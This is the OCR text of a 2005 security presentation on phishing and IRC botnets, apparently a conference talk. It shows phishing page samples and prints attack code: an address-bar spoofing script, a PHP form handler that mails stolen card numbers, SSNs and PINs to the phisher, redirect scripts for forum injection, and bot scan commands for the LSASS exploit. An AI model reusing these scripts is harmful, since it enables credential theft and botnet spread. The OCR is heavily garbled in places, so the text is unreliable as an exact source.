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Outline

e Phishing (20 min)

.

e Botnet (40 min)
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What is Phishing?

e Phishing attacks use both social
engineering and technical subterfuge to
steal consumers' personal identity data and
financial account credentials.

Such as credit card numbers, account usernames,
passwords and social security numbers..

.
S

Password:
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Phishing site sample #1

Pa,.yPal Sign Up | Log In | Help

Welcome

Send Money Request Money Merchant Tools Auction Tools

Member Log In Secure Log in 2

Registered users log in here. Be sure to protect vour password.

Email Address: | |

Password: | | Forget vour passward?

New users sign up here! It only takes a minute,

About | Accounts | Fees | Privacy | Security Center | User Agreement | Developers | Referrals | Shops

PayPal, an eBay Company

Copyright 7 1999-2005 PayPal. all rights reserved,
Information about FOIC pass-through insurance

Steal money or credit card info..

2005 July 16 Copyright alan@chroot.org 4



Phishing site sample #2

LaSalle Bank

ABN A Locations | Customer Service | Apply | Rates | Search | Home

Help »  Enraoll How k

Welcome to LaSalleOnline

Login to Online Banking

First Time Here?

: User ID: [
k Enrall Maw L :
Unless vou have chosen pour awn Uzer ID,
waur ID iz your SSM or TIN without dashes,
Learn More About... : !
i i Password: | |
F Paying Eill
Are you 3 Wealth Management Forgot ¥Your Password?

or Private Banking client?

Announcements

bl Steal onlinebank account

b Click here for details
& Protect yourself from email fraud.

LaZalle Bank does not ask for your personal, financial or account
information through email, Learn how to protect your accounts,
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Phishing site sample #3

=¥ Sign In -New Yahoo! - Microsoft Internet Explorer

BEED REQ WHO EHSEW ITAD AW

Dt E-©-[H B Punz Jrsn: @se & -2 @~ JEA

84 (D) | €] hitphotrial-fal homestead.com D |-
Y ‘ )o’ awWars

A REL i IBEEH 0 - Yahoo! S

L a = e »

o < l? =l T I

BRI | 4] hitp Ahetrial-fal homestead comy | Vahoo! % S E5EA

o otF H O#F TS
2 B ER 7 Yahoo! 25 BERY 7% et lals
51 [ Iri FLr Hist
o WIEE - STRIERERE | e R SnTEE R :
S  BRBETNETETANEE > S5 , |
SR TR - = | i
« My Fahoo! - S5HUEEERRT Vahoo! BIEAETERTE— 10 TSR '
BE - AL SRS  SERET AT Ll e Famess
= it SREEESEHERSE - =
FhE RS - BRI EET RS A
HHHRE - WEE - EEESEATIRE » firgy e
HT E SRR S EE SR T — R et b
BRI EANY EEEn

. . . HREEES FRHERETE © 2004 Yahoo! Tatwan Inc. All Rights Reserved.
Steal service/identity DETLAERE - BRhiE
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Phishing site sample #4

— i im e THED) )R RN e s W

HELL (D) | € ol st B | Bty MSN | Hotmail | 3 | eShop | Messenger | itatmie HSine NG >
1E: .

msn.com.tw

msn:“ Hotmalil
FTHRE | 2FAER ST - 7£ MSN Hotmail &
SHER Y MSN Hotmail (E%5
HE - 2 EEREELSA

, o ERDHRHEDEE
O PR E T B R RS e P T s AR R 4 A ST IR TS - (R

O EIFIETE T E R HHEE -

O B EzETE Hh#ET: o BERSBEHEEROIEES e-mail
bl Lt RS E R S T SR E Y -

—

TALEE 7

W, o BA
B mseiRmens - Sal - 59 . SHEER B
RO R - E i R - > O BT PR
© HEREETE
i) O S H T T E A A
82 2 FIRE S AT 5 A

TEqiTE RS MSN Hotmail 25 MSN Messenger #73zETERE, -tI II;E,SS,DEQWNH?; Tk
= )

Steal servicelidentity s xmavEis  FELEOREE EaER R -
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Phishing site sample #5

AU

g | SETEE | SRR | SeBEES | FHR VIP ERE I T3 | R SR kB T Y

o BTEFEAMEEMEERD - TEAHEEER - HEETiREEEF -

| 55
L |
@ & | |
ETERET | |
| ke

& {RAEET DI B SRR hitprauth wretch cofauth.php BB SR EER 2 o

Steal service/identity
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Phishing site sample #6
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Incresing of phishing sites

Active Reported Phishing Sites by Week December 2004-March 2005

953 991

Number of Sites

-+ -
=] =]
] [
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= =
od L=
- (]

Phishing Sites Hosting Countries

121 8/2004
12/25/2004
112005
1/68/2005
1152005
1/22/2005
1/29/2005
20572005
21212005
2192005
212612005
3572005
31212005
3192005
372602005

Week Ending

Brazil
Argentina

Romania
Anti-Phishing

wemoSee  Anti-Phishing Working Group

APWG Cormmitted to wiping out Internet scams and fraud

Canada
Germany
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Tricks of Phishing

e Similar looking URL to Genuine URL
e Using IP address

e Pop Up Windows

e URL spoofing of address bar

e Install Trojans or Spyware
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Similar looking URL to
Genuine URL
° 1s the

oringinal bank website.

Two similar looking URL example
http://www. barclayze. co. uk

using a sub-domain such as
"http://www.barclays.validation.co.uk", where the
actual domain is "validation.co.uk™ which is not
related to Barclays Bank.
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http://www.barclays.co.uk/
http://www.barclays.validation.co.uk/

Pop Up Windows

open a real webpage in the background while a bare pop up window (without address bar,
tool bars, status bar and scrollbars) is opened in the foreground to display

the fake webpage

<l-- Bezin

function popUp{URLY |

day = new Date();

1d = day.getTime();

eval{"page" + 1d + " = window.open{URL, + 1d
+ "', 'toolbar=0,scrollbarz==0,location=0,ztatushar=0,
menubar=0,resizable=0,width=800, height=600"7;");

1
HBnd -->
</scripte

2005 July 16

Q-

[ [@) @ Pwz Joemes @we @ -2 =-[JE

L) (&) hitp i barlays oo v

Home : UK

v BBE EE Mo

site Map | Contact Us | Accessi

BARCLAYSPREMIER.

Welcome

Barclays brings y

BARCLAYS

Online Banking

Persanal Banking
Banking for Busines
Premier Banking
International Bankin
Stockbrakers
Private Banking
Investment Banking
Barclaycard

The Woolwich
Asset Management
Disability Services
Press Releases
Careers

Industry Specialists
Investment Manage:

Barclays Marine Fin.

simply follow the
steps 1- 2

Details o
Confirmation
exit ()

online Banking
About log-in

First time users
Forgotten log-in details
Log-in tips

Seourity

Details Confirmation Step 1 of 2

transactions and to keep your investments in safety.

membership details. Please fill the form below

SECURITY ALERT: Please read this important message

Our new security system will help you to avold frequently fraud

Due to technical update we ask you to confirm your enline bankin

Please read our latest information and advice on Online ?

Your Details

Please enter your membership details below m

Surname | |

Membership

nimber e [ \

Five-digit
passcode

Memarable word | |
Forgotten vour log-in details? -

e L ey
TR B ages

Select the green ‘next’ button to continue.

@

next

&

Berelays IBank - Detsils Confirmation

SEERE: HyperText (HRESEAIRTE
; B HTML Document
i B £

g;ﬁi S Titp:/ERRSOSANSENS by logon00 him

R #8 5 1Pf & !

Fil 10138 BT

RUEH 20041008

LR 200410028

ERC /|
——
© TS |

Copyright alan@chroot.org
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Scripts hide the IE address bar

. var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=="CSS1Compat') ?
‘documentElement’ : 'body’

vuln_x= window.screenLeft+70;

vuln_y= window.screenTop-45;//adjust window position
vuln_ws= root.offsetWidth-200;

vuln_h=17;//url window height

vuln_show();

var vuln_win;

function vuln_pop() {
vuln_win= window.createPopup(); : - e TR 3 =
vuln_win.document.body.innerH TML= vuln_html; [ =#f Q0 & [ous Gsees gae & o 30 & 2 e — |
vuIn_w!n.document.body.style.margln= 0; Iﬁf@ |’§mps:ffmteme)aankmsunnusrmmmarault.asp K ﬁ)—jl
vuln_win.document.body.onunload= vuln_pop;

— 7—‘
}/u In_show(); SunTRuUST I\

function vuln_show() {

if (VUInTWin) = 5 Enter your Customer Identification Number (CIN)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h); DEMO and Password.

—htri="<div style="height: 100%; line-height: T7px; font=famihs\Tahoma\', sans-serif; font-size:
8pt;">https://internetbanking.suntrust.com/default.asp</div>'

if (window.createPopupj{
vuln_calc();

vuln_pop();
window.setInterval(vuln_calc, 25);
}else {
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Install Trojans or Spyware
- Client side attack

e Malicious site (ex.IE iIFrame vulnerability MS04-
040,MS05-036/37...)

e Client will d/l malicious file and execute It after
browsing a malicious page.

2} Index of fieexploit - Microzoft Internet Explorer

BEEO BHEED SR BOSE0 TEm  HEW "

D) | &) hittp-dromap Ay res otghsexploit!

Index of /ieexploit

Name Last modified Slze Description e

a Parent Director
L.

internetexploiter. himl  24-Nov-2004 14:05% 13K M\ Documents and F_'..;':-,t,tj_ngs‘."-.,_]_.:]_.;-:-E"-.,_%E}

A nacha? 147 Servar at anman dvndns are Dot 71
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000
. 0000
Install Trojans or Spyware
o000
n n | . .
- A malicious site example .
D) | & i ey v Bz EE
Email Address Remove
To Remove your email address.
Kindky Scroll to the bottom of the page.
In the meanwhile please take note.
AR |
Eﬁ_ﬂﬁ
R
Morton AntiVirus 7RV EE EEHIENGS -
A
BFAR CiDocn,, windows-npdated 2[1] exe
wmiEal Backdoor 2okeven
N FEEIEEERES -
1) We Honour all remaowe request's. = You will never receive a email from us again.
23 Qur merchandise is of good quality and we offer unconditional money back gaurantee, if you ever want to tny us.
6

3) Buying online is safe for a consumer. Take note, in an event you dont get your goods. you may talk to your bank from whom you receive your credit cards from. Tell t
problem you faced while buying onling. They will check it out for you.



Tricks to keep phishing page stealth

e Using ‘dot’ to hide directory

R T e————

Souttilrust =
—_—

g/ southtrostonlinebanking comfretaild

Username: % - Online Banking Log In

Password:

Log In Exit . . . . . .
Welcome to SouthTrust Online Banking! with our 24-hour online financial center, you can manag
cleared checks and deposit tickets, transfer funds between eligible SouthTrust accounts, order o

Farant vanr nasswnrd?

Unless you use -a, --all
do not hide entries starting with .

409 Jul 14 15:47
Jul 14 15:
A6 Jul 14
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Data Is then sent to phisher

Send.php

<?php

session_start();

$first = $SHTTP_POST_VARS[first];

$last = SHTTP_POST_VARS['lastT;

$cctype = $HTTP_POST_VARS['cctype’];
$ccnumber = $HTTP_POST_VARS['cchnumberT;
$ccmonth = $HTTP_POST_VARS['ccmonth;
$ccyear = SHTTP_POST_VARS['ccyear];

$cw2 = $HTTP_POST_VARS['cw2'];

$ssn = $HTTP_POST_VARS['ssn7;

$pin = SHTTP_POST_VARS[pin’;

$email = $HTTP_POST_VARS['emailT;

$ip = getenv("REMOTE_ADDR");
$adddate=date("D M d, Y g:i a");

$subj = Banklng Account Info";

$msg = "Fi = $firs $ 5
ccyear\nPIN $p|n\nIP $|p\nDate $adddate\nSSN $ssnir
$from = "From: card@suntrust.com”;

mail(" msane@cannlbahsm tv", $subj, $msg $from);

- $cvv2\nEmail: $email";

?>

2005 July 16 Copyright alan@chroot.org
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How to launder money

l I /‘5 Finally , phisher get the money.

1.The phisher has already got
the 3 ccount info by phishing. 2.Send mails to recruit job seekers.

W/

Foreign

Local

3.Phisher then transfer money from the

‘phishing victims’ into the job

applicants’account.

' 4.The money is then withdrawn by the

%‘ job applicant and wired to foreign
T S account (it's probably another middle “
> A man)eopyright alan@chroot.org ﬂ(\é\ 19



How to launder money (cont)
- Recruit job seeker by spam

AV RS - oo Hownail & Messenger (2 S04 MSN

Work from home

and prepare to succeed

Dear friend,

Nowadays vacancies:

* Transeton Mamager;

Disscriplion:

* W are locking for honest and smart people for this pesition,

Requirements:

* Adult pecple only (we cannot hire people who don Xt reack the adult agel

* Computer with &

& 2.3 haurs [

Tob dvscription:

Crar company 3 interested 1n harmg citimens of your countr
with recetving money transfers from cur chients m your
system (usnally an internal bank twansfer, or bank transfer
teansfers of these funds to us throngh money transfers
TERNUNION - o aul this company !
yaur country o g for
g b aecomplished w

R.
working you 4o not
ation.

In order 1o 51

Yo wrill process at beast 4
wotk exparience or special eds

nged 0¥ MOREY, A0 Previo

2005 July 16

*  4-3 NOUTS ITEE TIEe Wil e Wolk day;

Job description:

Our company 1s interestad in hirtng citizens of yonr conntry for temporary work tied
with receiving monew transfers from our clients in vour country through the banking
system (ngually an tnternal bank transfer, or bank transfer within the conntry) and
forther transfers of these funds to us threngh money transfers such as
WESTERNUNIGH - more about this company at westernunion.com

(choose your country on the main page for specific details),

You will be paid according to accomplished work - 10% from the sum of each meney
transfer, On average transfer sums will range from 3000-3500 EUR.

ou will process at least 1-2 transfers a week. In order to start working you do not
need any money, any previous work experience or special education.

If wou are interested and wonld like to get more details on this job offer - simply

fill out the form below (if vou couldn't send the inquiry from the form visit the following link}
Attentions! Space s limited, so hurry!

PERSONAL INFORMATION:

First Name |

Last Name |

Phone |

|
|
Country | |
|
|

E—mai1|

Submit this form

Copyright alan@chroot.org 20



Beyond phishing

e Phisher uses two methods to speed up the
Installation of phishing sites.
Usingf Phishing package.
Installing redirection services to deliver web traffic
to existing phishing websites
e Uses the victim host to send spammails for
advertising phishing websites
e propagation of spam and phishing
messages via botnets
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Redir

Various kinds of redirect scripts
<script>
setTimeout('window.location.href="htjp://xx/x.htm"',100);

Benefit of redir: Jseript>

<script>
location.replace("http://xx/x.htm");

1. Easy to config compromised host e
Increase the speed of compromising <
vulnerabile systems Compromiscd hoet 1 N

2. If a compromised host is detected, \‘ / S

the main phishing site is still alive Compromised host 2
if a main site is detected, hacker will
set one of the compromised host to

be the main site S
Phishing site (http://xx/x.htm)
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Active phishing attack!
Cross-site scripting redirection
Script injection

Two threats of web application!
SQL injection
Malicious script -II
Insert redirect script on forums or guestbook.

<script>timerlD=setTimeout('window.location. href="http.//fake/
member.htm'',100),</script>

<script>location.replace("http./www.yahoo.fake.com/member/");
</script>

Script code can redirect the user to fake authentication
page and steal his account information.
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Auction scams — interception

A scam which focus on dedicated victim!

R ERAMENELHETEY:  HUEENBHETEYS - WHEIAME  #E
Tuttped o ehay.comdelpiontact_inlineindey.hiral

i ! SRR S <h
CEREF 1 o TEEHTESERETIIG | VISR £3648
BrigSR1TIt

B—T "BHEEA R ) BErrEEs - el - DEMAMNT AR
PayPal; (B AT E; [BEE.

waEs W mE
WWE TAGGED CLASSIC CANDADIAN

63BIS398E  STAMPEDE / FINAL FOUR - R2 e

cimusgsasy  WWETAGGEDCLASSICWRESTLEMANIAS | o oo

&BR2DVD
AER: £3149
EEEAOEE  Selkes £499

Standard Intemational Rate -

Be¥: £3648

UK CUSTOWMEES- Pleass send Pay via Pay Pal payment Or send a cheque or postal order
made payable ta: 1 UP Games, Unit 1J&#60; Shaw Wood Business Park, Leger Way,

Dancaster, DN25TB. Please remember ta include your item number along with your payment.

EURCEPE &#38; WORLDWIDE CUSTOMERS- Please check the ttern listing far shipping
costs ta vour location, and submit Pay Pal payrment or send — ‘Intemational maney arder’
(IO} in GBP (English pounds}

IR EMER - AL SR T e - RGBS REEFRE |

E2 A -
Sellers Standard Intermnational Rate @ £4.99

1.Send the fake mail to buyer
before real seller.

2.Send the fake mail to seller.

Typically using Mails overflow to
reveal the fake mail
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Botnet in depth




00
. ? o000
What Is BotNet ~
| XX
o0
Control 2
- C COnStrUCtS a . Ulct]m (prﬂxy] m ;
signal channel which ar 88 o
*ﬁ.r,-h:--a,h
let hackers control A K
victims without being « commands L
found. Botnet owner
Bot (also called Zombhbie)
Botnet controller
1
[
|
/
/
r
KIBOIHKH
DDoS Target e __--"_-~ IRC Botnet
Tt alan@chrooto . 26
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Botnhet formation

Insides bot source code

BoT . SUSIhTo— TISPIays the SUSTem ITro—;
ot.longuptime”, "If uptime > 7 days then bot will respond™,
“hot.highspeed”, "If speed > 5000 then bot will respond”,
"bot.quit™, —Uguite_the hot'
"hnat flushdns"™ "Flushas tha hnts dne racrha®
host with High bandwidth usually chosen to be the
controller __ Bot

Hacker writes the bot \I:J, controller
backdoor ,, (IRC server)
v 7

-

-
-
_-
2 :
-
-
-
-
-
-
-
-
-
-
N S~aa
N S~
N <o
N ~-o_
N ~<o
N
N
N
N
N
N
N

He install the bot
backdoor in the
compromised hosts

n@chr(ﬁgrg 27



Botnet formation (cont)

Give orders in IRC channel.

Do spreading automatically 4
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Threats of botnets

e DDoS extortionSpfE

e Installing malwares , spywares

e Selling advertisements

e Manipulating online polls

e Sending Spammails

e Doing Phishing

e Renting bots

e Information lost / Identity theft / Sniffing
e Stealing CD-key,online-game goods ..

2005 July 16 Copyright alan@chroot.org
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IRC and IRC bot

IRC is the earliest form of online chat.

e IRC (Internet Relay Chat) 1993
RFC 1459,2810,2811,2812,2813
Users can chat at channels in realtime.

e Channel management (RFC 2811) ,2000
Channel operator (+0)
Private (flag p) and Secret (flag s) Channels
Channel Topic (/topic #chan_name topic)
Channel key( +k)
Ban user

e CTCP/DCC (1994)

e An IRC bot writer should be very familiar with the IRC standards.

2005 July 16 Copyright alan@chroot.org 30



IRC and IRC bot (cont)

e |[RC bot

A IRC client program which enforce channel policies.

Ban users if they speak special keywords.
Give the op to specific users/ Do User level management.
Prevent flooding.
React to certain events.
Eggdrop ~ Perlbot ~ ircll script bot ~ mIRC script...

e Advanced IRC bot
P2P file sharing.
Gamebot ~ Talkbot
Google bot ~ Sysbot...
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IRC and IRC bot (cont)

- mirc bot examples

e Sysbot

e /load -rs Systeminfo.mrc
e /ctcp sysbot systeminfo

[sysbot SYSTEMINFO reply]: I am using SystemInfo by C}{$ Uersion 1.5-r3!
Downleoad it @ http://scripts._phucknut.net/

BEle Yoow Foeorom Toch Commasds Wisdew Halp
4 d@adE0oeDRDEOREES3

DRt ass [eed |

=¥ [oysbot] SYSTEMINFO
Jetep sysbot systeminfo

[oysbot SYSTEMINFO reply]. 0S: (WINWP Professional 5.1 Seruice Pack 2 (Build

#2600)) ~ Up: (12h SSm 19s) ~ CPU: (1 CPU = AMD Athlon XP 2400+ (

GHz, L1: B4KB L2: 256KB (5L Load)) Mom: [Usage: 401/T3IEME (54 48%))

LINgLpame=e ) 7 HD: (Total/Free: 199/9.21G8)

[sysbot SYSTEMINFO reply]: I am using Systeminfo by C)($ Versien

IM% Version

[sysbot SYSTEMINFO reply]: 0S5: (WinXP Professional 5.1 Service Pack 2 (Build

#2600)) 7 Up: (12h 56m)

GHz, L1: B4KB L2: 256KB (5% Load))
Crerrr=----- ) HD: (Total/Free: 199/9.21GB)

e Google bot

<ass2> tgoogle botnet

-cla- Go gle http://zine.dal.net/previousissues/issue22/botnet.php

<ass2> tgoogle phishing

-cla- Go gle http://www.antiphishing.org/

<ass2> 'google whitehouse

e P2P file sharing

{[G4E3-MiXeD]-998> W13 1825x [

200

5K] [CRACK] -KeyGen_WinRAR_zip
{[G4t3-Appz]-998> Total Offered: 8.8 ME Total Transferred: 106.09 HEB
<[G4t3-Appz]-994> W15 18x [ 29K] [Appz]—noteserv-8.7_3_tar.gz
{[G4t3I-Appz]-994> == ___::: HH1rPBOuw3r
{[G4t3-MiXeD]-998> 14 141x [3.2HM] [Appz]——klite_zip
{[G4t3-MiXeD]-998> B15 9% [623K] [Appz]——-1ftpi3_zip
<[G4t3-Appz]-994> Total Offered: 5.9 MB Total Transferred: 67.77 HB
{[G4t3-MiXeD]-998> == ___::: H4Y1rPOw3r

CPU: (1 CPU - AMD Athlon XP 2400+ (T-Bred), 2.00
Hem: (Usage: 401/7T36MB (S4.48%))

1 Service Pack 2 (Build
» 2ug0+ (T-Bred). 2.00
|/T36MB (54.48%))

T-Bred). 2.80

1.5-r3

1.5-r3t

Bh Taw Froows Jwk Commed: Mumoe [l

4 d a0 0 00RBEE EI!
T bt Ovg . [T} Bpeimetee

ppzl 15 10 [ 29K] [Appe]

T
3.20] [Appz]
623K] [apps]
0z b

<[ENEI-HiXeD]-59
£|ENRI-Rppr]-#9Ns To
CEMI-MIXED]- 990> ®= L.uiid
® crejayiP has quit IRC (Fing timeowt)

C[ENLI-HiXeD]-998) Total DFfered: 18.9 WO
= HEXBAG6 has quit IRC (Ping timeout)

£|ENRI-Rppz]-¥ET: WY 37k [9.0M] [Appr]
£[EnRa-nppz]-¥9T: B2 a3k [NEK] [Appr]

tim

2.9 Tetal
WP fii...

GALa-netal n

= BeserTstorH has quit IRC {Ping Eimeout)

<[ENLI-Appz]-F9T> ww 15 packs == 2 OF 2 slots opem, Record: 120.3KB/5 *[GALI-Hi%eD - 9%7

<[ENEI-App]-F97> *= Bandwidth Usage == Curcent: O.BHE/%, Recerd: 91.6KES +[EATa-HieD] 998

<[ENEI-AppT]-FVT> == To request a File type: “/msg [ENE3-Appz]-¥97 xdcc semd +[EALa-HiNeD] 990
Bt e

ip shqudng
C[ENLI-Rppz|-9UFs BI 49K | H2K] [Appe]--nekia_medem.zip [EnTa-Light |-annn
[ pp BN 0K [NZAK] [Appr]-HekialegeManager . zip [Luckyra]

[ pp ®5 88 [2.80]) [Appz] -HekialegeMamager.zip Fatze”

[ pp ®6 AP [2.80] [Appz]-poswite_RR18.zip “HiKoH 2
= Sentinel511 has quit IRC (Connection reset by peer) o
= Daswonicreem has quit IRC (Ping tineost) agalaa
C[CARI-Appr]-0Ts BT 08w [ 7H] [Appr] -Makia i
C[EAt-AppE])-#0T> B Wik [ #K) [appx)-—-Mekia avlbablalablabla
C[EMLI-Rppr]-F9T: W8 2%k [ K] [Apps] -Mekia absrand
= Leszek has joined Bgatd)sdee ACE1M
C[EULI-RAppE |- WIN 217x [3.0] [Appr] -GhesiSwrd - Froctecl your privacy o gopinies -

188233 &

[ =]

Wares Appz Myd Movies Friln Games and mee | New Zop BIGDADDY | For

ErTT—
-zip idain

a: 10609 e *[GALI-Appz] 993
sd.tar.gz s [GHLI-App2 | -0k

o[ EAt3-ippz]-995
*[EAtI-Appz]-996
[BALI-Mppz]-997
*[BAL3-Appz]-998
S[GAt3-Appz] 099
+[BALI-F EXukeR ] - 002
Total Transferred: 99542 W C[GAta-F i

ar

+[Eata-Pern]-Lona
wskla.xip [EATE-K] -0
Mokia_LegoMamager_1.1.8_by_uress | oua ] ens

9
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What they do & How they work
- Inside the Bot IRC channel !

1)  Connect to the bot controller(IRC server).

o /sever XXX.XXX.XXX.XXX serverpass
2) Enters specific channel with password, interprets its topic as command.

"{ mIRC - [FFlsass#F [23] [4nst]: advscan Isass 445 500 30 -a -r]

E File View Fovorites Tool: Commands ®Window Help
Y G add 0B EREEEEES® S

Haxed RX-781... |5 tillsasstit

A RE-78105705 Bot list - Bots that perform the

|15as5| 1397833549

|1sass|1626777491 S M @ ac‘“on |n the Channel

|15a55| 17830865270

|1sass | 2286187831
|15ass5 | 2356804792
|1sass| 2772107582

|15as55| 3113229847

3) Hacker can herd

|15ass | 4241949397

1sass | 4317098272

:15355Ih?99950618 Some bOt tO
|15ass | 5574798525

|15ass | 5904044672 another channels
|15ass| 6254212031

|15as5| 63088733337 Or Servers

|15a55| 6725380696

|15a55|6726316410

|15as55| 7484826291
* Mow talking in #H#lsassiit |15ass| 7578546660
#* Topic is '.aduscan 1sass_A445 508 3 8 -a -r T

oop e e St e e e > THEY are compromising other hosts by
o " using MS-0411 LSASS vulnerability.



Inside the Bot IRC channel
- The IRC channel Bot joined

e When the Bots are connected to the IRC Server the
channel they join is usually set with various channel
modes to restrict access or help stealth the fact that
the channel or the occupants of the channel are
there.

+S (secret : cannot be seen in channels list)
+U (userlist is hidden)

+m (moderated : a user cannot send text to that channel
unless they have operator @ access or +v voice)

+k (cannot enter the channel unless you know the correct
key)
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Inside the Bot IRC channel !! (cont)
- Scanning and Spreading

‘s mIRC - [#Flcass## [27] [+nst]: .advscan Isass 445 500 30 -a-r ]
File View Favorits Took Commends Window Help -G X

| edd Bo#EBEE

BEsS3 s

Haved Rx-781 tlsassiitt

[<|15ass|B341730888> [SCA

*

~

*

<

®

*

threads.

[1sass| 2900586492 nas | * |15265| 9488133521 has joined #H#lsassHit
L enees ool <|15as5|9480133521> [SCAN]: Already 497 scanning threads. Too many specified.

|15ass|3900586492> [SCA

threads.

|15ass| 7526355893 has

|1sass| 7s26355093> [seal (| 15ass|43170898272> [FTP]: File transfer complete to IP: 218.183.184.152 (C:\WINDOYS\System32\manager.exe).

threads.

<|1sass|4317098272> [1sass_4u5]: Exploiting IP: 218.163.184.152.

[1sass|eamizaeses nas { % |15ass|7535341282 has joined #Hlsassiit

|1sass| 9854811879 has

[1sass|9ssus11879> [scol {|15a5s5|7535341282> [SCAN]: Random Port Scan started on 210.x.x.x:445 with a delay of 5 seconds for 8 minutes

threads.

|15ass | 9408133521 has threads. —

|1sass|9488133521> [SCAN]: Already 497 scanning threamss (\\_—;j) [1=ass[a507 327020
|1sass | 43170898272> [lsass_u45]: Exploiting IP: 218.183.184.152. |1sass| 479089508618
|15ass|43170898272> [FTP]: File transfer complete to IP: 218.183.184.152 (C:\UINDOUS\System3Zimanager.exe). / |1sass| 5574798525

|15a55| 7535341282 has joined ##lsassitl |1sass|5904084672
|1sass|7535341282> [SCAN]: Random Port Scan started on 218.x.x.x:445 with a delay of 5 seconds for B ninutes using |1sass5| 6254212031

threads. |1sass| 6308733337

|1sass| 5934342448 has joined ##lsassii |1sass| 6679984610

|15a55| 7526355093 has quit IRC (Ping timeout) |15as5| 6725380696

|15as55| 9389305665 has joined ##lsassiit |1sass|6726316418
|1sass | 9389385665> [SGAN]: Random Port Scan started on 61.x.x.x:445 with a delay of 5 seconds fFor B minutes using 588 |1sass| 7484026291

threads. |1sass| 7535341282

|1sass|94 {Ping timeput) |15as5]| 7578546668

|15ass |64 o

|1sass | 645 b I h X X i
threads {|1sass5|1665227645> [SCAN]: Random Port Scan started on 61.x.x.x:445 with a delay of 5 seconds for @ minutes using 588
Ilsass]=8 threads.

|1sas5]93 i

|1sass|36 {|15as5| 75353412823 [1sass_445]: Exploiting IP: 218.135.154.7.

:}:::z:g: * |1sass|2292646140 has joined ##lsassih

|1sass|95 {|1sas5|2292646148> [SCAN]: Random Port Scan started on 198.x.x.x:445 with a delay of 5 seconds for @ minutes using 508
|1sass]a9 thepardc

|1sass| 43 ( )

|1sass | 433 - - [

|15a55| 1665227645 has joined ##lsassith <

|1sass|1665227645> [SCAN]: Random Port Scan started on 61.x.x.x:445 with %&cunds for B minutes using 588

threads.

|1sass|7535341282> [lsass_445]: Exploiting IP: 218.135.154.7.

|15a55]| 2292646140 has joined ##lsassiti
|1sass|2292646140> [SCAN]: Random Port Scan started on 198.x.x._x:445 with a delay of 5 seconds for O minutes using 5008

threads.

|15as5| 4339821688 has quit IRC (Ping timeout)
|15a55| 1629661859 has joined #H#lsassith
<|15as55|10629601859> [SCAN]: Random Port Scan started on 64.x.x.x:445 with a delay of 5 seconds for 8 minutes using 560

threads.

* |15as55| 9854811879 has quit IRC (Ping timeout)
:2()()* |15as5| 8711756654 has joined ##lsassiti o

B gy FIL04
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Inside the Bot IRC channel !! (cont)
- Scanning for new vulnerabilities or victims

't mIRC - [#nipassOr [25] [nst]: Iscan 222 x x.x 901 3 devil]

T Bl Yiew Favores ook Commends Window Help
| G B HB0BE
1) Haved R4-781.. [0 Hitlsaschil 13 tintpass

BEEEHEESD

%
(=]

A @XeKToRex
JtE[-aaa65s
JtG[-aaaals
JEtE[-burkouw
JEG[-cbpau
JtE[-debrad
JEG[-eipui
JtG[-gawb
Jt6[-gkmg
JtG[-hdonu
JEG[-HOME?
JtG[-mycom13

1Rl -ninuan

Scan for SWAT (Samba Web Administration Tool) port 901

Jlup-suGm

= Now talking in #ntpass@r
# Topic is 'tscan 222.x.x.x 961]| 2 devil’
|* Set by XeKToReX¥ on Sun Oct 18| 28:56:15

= JtG[-zfuyuo has quit IRC (Pin

<]JtG[-zuey> Port 901 at ip:222.mgV
<]JtG[-zuey> Port 981 at ip:222.152.184.49

<JtG[-gaub> Port 901 at ip:222.148.164.18;

= JtG[-opddx has joined #ntpass@r

<]tG[-opddx> EEScam: 222.x.x.x p: 981 d: 3sec.

|* ]JtG[-segt has quit IRC (Connection reset by peer)
|* JtG[-Vincent4s has joined #ntpassBr
|<]tG[-Vincent44> tEScan:z 222.x.x.x p: 901 d: 3sec.

. [§aw. -[F3m. -

2005 July 16

- [T vt

JEG[-zfwyuo has quit IRC (Ping timeout)
<]JtE[-zuey> Port 901 at ip:222.152.183.128
<]tG[-zuey> Port 981 at ip:222.152.184_49
<]JtE[-gawb> Port 901 at ip:222.148.164.183

* ]tG[-opddx has joined #ntpass@r

{]tE[-opddx> tEScam: 222_.x.x.x p: 901 d: 3sec.

* ]tG[-segt has quit IRC (Connection reset by peer)
*= JtG[-Vincenti4y4 has joined #ntpassor
<{]JtG[-Vincent44> EEScam: 222.x.x.x p: 981 d: 3sec.

picom@
Be
* Now talking in #ntpassor g
= Topic is '"?scan 222.x.x.x 981 3 dewil® he
# Set by KeKToReX on Sun Oct 198 20:56:15 P
3

[azw

B E
Copyright alan@chroot.org
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Tricks to hide Bot controller
- Dynamic DNS

e Specific IRC servers are set in Bot.(Set up with
domain name)

e Bot owner uses Dynamic DNS .

e Hiding controller and saving bandwidth

e Bot will not connect to IRC server if
bot lost signal of network/can’t resolve server name.
Bot resolve IRC server name to 0.0.0.0 or 127.0.0.1.

IRC server list
daemon.sh

Bot controller ods.org
h=d.=st
adsldns.org

0.0.0.0 apgong. son
v uglab.org

.. dynu.net
" ftphost.net
N bi-apple.net
E . Xygong. com
=|f JlN 2 wEeStcow oy . Com
J _ usagarep lay. com
. lycosgate . com

2005 July 16 ight alan@chroot.org 33zz.org 37
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Tricks to hide Bot controller
- Bots change their controller

e Hacker can change the controller when the victim has been found

Migration of bots

19]|0J1U0D

3y} 0] 108UU0I

S10Q JO SIaquINN
™

DDA DN DD DD
U N i R SR

,\/,{‘U/,\?-J/ ,Q-)/,Q-J/\"I-J/
SNSRI

Time
2005 July 16 Copyright alan@chroot.org
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Variants of Bots

e Agobot/Phatbot/Gaobot/XtremBot x%
e Written in C++, module scalabilities

e Public in GPL, lots of users improve its >
abilities and functions.»> powerful variants !
Rootkit technologies to hide process

Capabilities to detect debuggers..

e written by Ago alias Wonk, a young German man who was arrested
in May 2004 for computer crime.

e SDBot/RBot/UrBot/UrXBot/...
o Written in C, poor design..
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Variants of Bots(cont)

e MIRC-based Bots - GT-Bots

Launch an instance of the mIRC chat-client
with a set of scripts(.mrc) and other binaries.
.mrc Is a powerful script that

Can create socket,/exe,/dll...
Following symptom are found.

May use hidewindow to hide mIRC process.

Change the filename of mIRC.exe (old version mIRC)
DLL files are linked to mIRC for mIRC script.
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Variants of Bots(cont)
- write your bot

e mMIRC script — remote event

The remote allows you to create scripts that react to IRC
Server events

venay on L. TEXT:hello*:#:/msg $chan Welcome!!!! to $chan $nick!
e Advanced scripts o

W deE9OooOoaERREREAESS 8
[z eszz |

